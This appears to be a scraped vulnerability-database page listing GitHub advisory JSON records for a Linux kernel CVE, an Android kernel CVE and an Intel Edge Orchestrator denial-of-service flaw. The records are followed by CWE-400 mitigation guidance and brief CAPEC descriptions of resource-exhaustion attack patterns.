      "url": "https://github.com/torvalds/linux/commit/2b04e8f6bbb196cab4b232af0f8d48ff2c7a8058"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/commit/95d78c28b5a85bacbc29b8dba7c04babb9b0d467"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3583-2"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3583-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3582-2"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3582-1"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K93472064?utm_source=f5support\u0026amp;utm_medium=RSS"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K93472064?utm_source=f5support\u0026amp%3Butm_medium=RSS"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2017/12/msg00004.html"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1495089"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2017-12190"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:1190"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:1170"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1854"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1062"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0676"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0654"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2b04e8f6bbb196cab4b232af0f8d48ff2c7a8058"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=95d78c28b5a85bacbc29b8dba7c04babb9b0d467"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/oss-sec/2017/q4/52"
    },
    {
      "type": "WEB",
      "url": "http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.13.8"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/101911"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CW6J-2V5X-F5M2

Vulnerability from github – Published: 2023-03-24 21:30 – Updated: 2023-03-29 15:30
VLAI
Details

Product: AndroidVersions: Android kernelAndroid ID: A-229255400References: N/A

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-21061"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-24T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Product: AndroidVersions: Android kernelAndroid ID: A-229255400References: N/A",
  "id": "GHSA-cw6j-2v5x-f5m2",
  "modified": "2023-03-29T15:30:17Z",
  "published": "2023-03-24T21:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21061"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2023-03-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CW77-VCWG-RPHW

Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-08-12 18:31
VLAI
Details

Uncontrolled resource consumption for some Edge Orchestrator software before version 24.11.1 for Intel(R) Tiber(TM) Edge Platform may allow an authenticated user to potentially enable denial of service via adjacent access.

Severity
5.7 (Medium)
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
5.9 (Medium)
CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-26472"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-12T17:15:36Z",
    "severity": "MODERATE"
  },
  "details": "Uncontrolled resource consumption for some Edge Orchestrator software before version 24.11.1 for Intel(R) Tiber(TM) Edge Platform may allow an authenticated user to potentially enable denial of service via adjacent access.",
  "id": "GHSA-cw77-vcwg-rphw",
  "modified": "2025-08-12T18:31:29Z",
  "published": "2025-08-12T18:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26472"
    },
    {
      "type": "WEB",
      "url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01317.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

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